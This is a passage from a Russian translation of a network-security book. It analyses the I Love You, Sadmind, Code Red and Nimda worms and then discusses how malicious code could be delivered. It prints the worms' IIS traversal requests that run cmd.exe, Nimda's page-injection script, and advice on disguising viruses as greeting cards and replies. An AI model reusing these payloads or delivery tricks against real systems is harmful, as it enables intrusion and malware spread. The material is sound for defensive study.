Чтение онлайн

ЖАНРЫ

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

Внесенные изменения заставляют mIRC-клиента посылать копию червя I love you всем, кто присоединяется к каналу, по которому общается пользователь зараженного компьютера. Разумеется, имя посылаемого файла должно быть достаточно соблазнительным, чтобы пользователь, присоединившийся к каналу, захотел его открыть. Думаю, что название «LOVE-LETTER-FOR-YOU.HTM» («Любовное письмо для вас») вряд ли заинтересует кого-нибудь, кроме одиноких людей, а вот заголовки «Top-10-reasons-why-irc-sucks.htm» («10 основных причин, по которым IRC вызывает отвращение») или «irc-channel-passwords.htm» («Пароли для IRC-каналов»), скорее всего, будут популярны.

Червь Sadmind

Червь Sadmind появился в мае 2001 года. Его уникальность заключалась в способности заражать как узлы Sun Solaris, так и узлы Microsoft IIS. Этот червь начал свое путешествие с поиска систем Solaris с уязвимой версией сервиса RPC (Remote Procedure Call – удаленный вызов процедуры). Данный сервис поставляется вместе с системой Solaris версий от 2.4 до 7. Найдя уязвимый компьютер, червяк использовал переполнение буфера, чтобы получить доступ к системе с полномочиями привилегированного пользователя. Затем он осуществлял следующие действия:

• заменял входящий порт для сервиса remote shell

на порт 600;

• установливал различные двоичные файлы в папку /dev/cuc/ и создавал системные журналы в папке /dev/cub/. В число этих двоичных файлов входят grabbb, sadmin.sh и uniattack.sh;

• атаковал серверы IIS, используя уязвимость обработки Unicode. Запросы, формируемые червем, выглядят следующим образом:

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/

c+dir+..\

GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+

copy+\winnt\system32\cmd.exe+root.exe

GET /scripts/root.exe?/c+echo+<HTML code inserted

here>.././index.asp

• ну и напоследок червь менял код HTML-страниц, находящихся на сервере IIS, вписывая туда следующие строки:

fuck USA Government

fuck PoizonBOx

contact:sysadmcn@yahoo.com.cn

Хотя распространение червя Sadmind было достаточно заметным, его не сравнить с настоящими эпидемиями появившихся позднее червей (о них мы поговорим чуть позже). В конце концов, уязвимое место, через которое Sadmind проникал в систему, было закрыто два года назад! Однако червь до сих пор распространяется, потому что многие администраторы за эти два года так и не установили пакеты обновления системы.

Черви Code Red

18 июня 2001 года фирма eEye Digital Security (www.eeye.com) известила общественность об обнаруженной уязвимости, которая могла привести к переполнению буфера в Web-сервере Microsoft IIS при обработке. IDA-файлов. Коротко говоря, переполнение буфера может возникнуть при обработке длинных запросов URL, координируемых приложением Indexing Service ISAPI, которое обычно работает с запросами. IDA. Специальным образом сконструированный запрос URL вызывает переполнение буфера этого приложения и позволяет выполнить произвольный код, используя удаленный доступ.

А 17 июля фирма eEye проинформировала о появлении Интернет-червя, использующего переполнение буфера. IDA. Они провели восстановление исходного кода червя, чтобы понять принцип его устройства. Вот что было обнаружено:

• червь запускает 99 своих процессов (нитей), которые используются для поиска новых серверов-мишеней;

• запускается дополнительный процесс, который заменяет Web-страницы зараженного сервера на страницу, на которой написано «Welcome toHacked By Chinese!» (Добро пожаловать на сайтвзломанный китайцами);

• 20 числа каждого месяца червь отправляет большое количество информации на сайт www.whitehouse.gov, осуществляя распределенную атаку, приводящую к отказу в обслуживании.

Полный анализ червя, включая отдельные фрагменты его кода, находится на сайте www.eeye.com/html/Research/Advisories/AL20010717.html.

Чтобы сделать жизнь владельцев компьютеров еще более интересной, 4 августа была выпущена новая версия этого червя, которая называлась Code Red II, так как механизм заражения (переполнение буфера. IDA) остался неизменным. Впрочем, результат воздействия нового червя выглядел несколько иначе:

• количество процессов, запускаемых для поиска уязвимых серверов, достигало 300;

• копирование файлаcmd.exe в файлы \inetpub\scripts\root.exe и \progra~1\ common~1\system\MSADC\root.exe приводит к тому, что этот файл становится доступным для удаленной атаки через Интернет;

• Троянская программа устанавливается по адресу c: \explorer.exe. Она выключает систему защиты файлов в Windows, а затем отображает диски C: и D: в папки /c и /d в корневой папке сервера IIS. В результате с удаленного компьютера можно получить полный доступ к этим дискам. Троянская программа наблюдает за состоянием дисков и воссоздает их каждые 10 мин.

Полный анализ червя Code Red II находится на сайте www.eeye.com/html/Research/Advisories/AL20010804.html. Еще раз отметим, что черви Code Red зависят от переполнения буфера IIS. А ведь для борьбы с этим видом уязвимости фирма Microsoft выпустила пакет исправлений еще в июне 2001 года. Из этого факта можно сделать вывод, что подавляющее большинство пользователей Интернета обычно пренебрегают обновлением своих систем.

Червь Nimda

В сентябре 2001 года, когда последствия эпидемии червей Code Red еще не были устранены, возник очередной представитель этого вида. Червь Nimda (название представляет собой слово admin, написанное задом наперед), также носящий имя Concept Virus, является очередным представителем группы червей, распространяющихся через сайты Microsoft. Вот методы, которые он использует для инфицирования.

Червь рассылает себя по электронной почте, присоединяясь в виде файлов. EXE. Однако при этом используется тип вложения audio/x-wave MIME, эксплуатирующий такой недостаток браузера Internet Explorer и почтового клиента Outlook, как автоматическое выполнение присоединенных файлов во время просмотра электронной почты. После выполнения червь рассылает себя по адресам, найденным в адресной книге пользователя и обнаруженным в кэше приложения Internet Explorer. Последнее означает, что червь собирает адреса электронной почты, опубликованные на Web-страницах, которые недавно посетил пользователь инфицированного компьютера!

Червь ищет уязвимые IIS-машины, во-первых, просматривая файлы root.exe, оставшиеся после червей Code Red II и Sadmind, а во-вторых, используя различные трюки с перекодированием Unicode и двойной перекодировкой URL, позволяющие выполнять команды на стороне сервера. Вот список выполняемых червем запросов:

GET /scripts/root.exe?/c+dir

GET /MSADC/root.exe?/c+dir

GET /c/winnt/system32/cmd.exe?/c+dir

GET /d/winnt/system32/cmd.exe?/c+dir

GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/

cmd.exe?/c+dir

GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/

cmd.exe?/c+dir

GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../

..\xc1\x1c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir

GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir

GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

Обнаружив

уязвимый IIS-сервер, червь пытается передать на него свой код, используя протокол tftp. Затем на этом сервере создается гостевая учетная запись, которая добавляется в группу администраторов. Таким способом червь получает доступ к скрытому сетевому диску C$. Червь модифицирует все локальные HTML– и ASP-файлы, добавляя к ним следующий кусок кода:

<script language=“JavaScript”>

window.open(“readme.eml”, null,

“resizable=no,top=6000,left=6000”)

</script>

Кроме того, червь копируется в файл readme.eml. В результате ничего не подозревающие пользователи Интернета автоматически загружают и, вполне возможно, запускают на выполнение червей с инфицированных сайтов.

Червь копирует себя также в файлы форматов. EML и. NWS, находящиеся в локальных и сетевых папках. Попытки открыть папки с этими файлами приводят к тому, что функция автоматического предварительного просмотра приложения Windows Explorer активирует код червя. Этот способ используется для распространения червя по локальной сети.

Ну и, наконец, червь копирует себя в файл riched.dll, пытаясь присоединиться к документам Microsoft Office. Ведь эти документы открываются в той же самой папке, в которой бинарный файл riched.dll загрузит и выполнит зараженный Троянской программой DLL.

В итоге получился очень заметный, но в то же время и весьма эффективный червь. Его присутствие сразу обращает на себя внимание, так как в локальной системе появляются многочисленные файлы. EML и. NWS. Этот червь самостоятельно распространяется по уязвимым серверам. Метод множественного заражения в очередной раз доказал свою эффективность. Многие пользователи, распознавшие и удалившие червя, обнаруживали, что их система все равно продолжает инфицироваться, ведь полностью уничтожить червя не так-то просто! Для полноценной борьбы с этой напастью нужно установить на сервер IIS соответствующий пакет исправлений от Microsoft, обновить клиента Microsoft Outlook, а впоследствии осторожно использовать сетевые ресурсы общего доступа.

Полная информация по червю Nimda доступна в документах группы «компьютерной скорой помощи» – CERT – по адресу www.cert.org/advisories/CA-2001-26.html, а также в анализе от SecurityFocus на сайте aris.securityfocus.com/alerts/nimda/010921-Analysis-Nimda-v2.pdf.

Создание вредоносного кода

Нет никого ужаснее человека, тратящего свое время на обдумывание и конструирование «идеального» вируса или червя. Существовавшие до сих пор черви и вирусы (например, червь Морриса и вирус Melissa) были не раз подвергнуты критике, потому что имели изъяны кода и, следовательно, не были настолько эффективными, как могли бы быть.

Давайте представим вирус, код которого не имеет изъянов. Конечно, вы думаете, что никогда не смогли бы создать ничего подобного. Вы будете удивлены, но в статье, опубликованной в «Вашингтон пост» с заголовком «No Love for Computer Bugs», Джон Шварц (John Schwartz) рассказывает о Фреде Коэне (Fred Cohen), студенты которого выполняли задания по разработке различных вирусов. Это не опечатка. Фред Коэн действительно требует создания вирусов от студентов, обучающихся компьютерной безопасности. Эту статью можно прочитать на сайте: www.washingtonpost.com/wp-dyn/articles/A47155-2000Jul4.html.

Новые методы доставки

Для начала нужно определиться с методом доставки вредоносного кода конечному пользователю. Использование макросов в электронной почте является эффективным решением только при наличии единого для всех пользователей почтового клиента. Впрочем, если вы решите попробовать подобный путь, рекомендую взять за основу почтовую программу Microsoft Outlook. Хотя можно подумать и о реализации множественных сценариев, каждый из которых предназначен для своего почтового клиента. Также имеет смысл присоединить вирус к пересылаемому по электронной почте сообщению, хотя это и не снимет ограничений, связанных с разными платформами (например, файлы с расширением. exe действуют только в операционной системе Windows). Кроме того, нужно как-то убедить пользователя открыть вложенный файл. Впрочем, иногда это совсем не сложно…

Мы уже упоминали про внезапный всплеск популярности рассылаемых по электронной почте анимированных поздравительных открыток. Большинство из них представляет собой присоединенные исполняемые файлы. Это позволяет замаскировать вирус под поздравительную открытку от друга. Многие пользователи немедленно открывают присоединенный файл, ведь они даже не подозревают, что он может содержать вирус. Чтобы поддержать это заблуждение, действительно вложения должны включать в себя поздравление, как, к примеру, червь Pokemon, показывающий анимированную фигурку Пикачу. После выполнения червю необходимо внедриться в почтовый ящик пользователя и/или его адресную книгу и разослать себя по всем найденным адресам. Именно этот прием позволяет создать иллюзию, что сообщение является поздравлением от знакомого. Особо изобретательные злые гении прилагают немалые усилия для имитации методов доставки, используемых крупными серверами, отправляющими открытки (имитируются даже подписи, логотипы, исходный адрес и т. п.). Зачем это делается? Предположим, червь имитирует открытку, посланную с сервера компании AOL. Должен ли AOL заблокировать свой собственный сервис поздравительных открыток? Это, конечно, можно сделать, но принятие подобного решения возможно только после обсуждения, а это даст червю дополнительное время для распространения.

Также стоит обратить внимание на психологическую тактику «доверия», используемую червем Melissa для своего распространения. Червь, просматривая почтовый ящик пользователя, формирует ответы на найденные сообщения электронной почты. Ведь люди, написавшие жертве вируса, в большинстве случаев ждут ответа на свое послание. Если в строке, содержащей тему сообщения, будет указано, что это ответ, большинство пользователей захотят его посмотреть. А так как текст внутри будет состоять всего из одной строки «see attached» («смотрите вложенный файл»), пользователь, скорее всего, откроет вложение, думая, что там-то и содержится основная информация.

Поделиться с друзьями: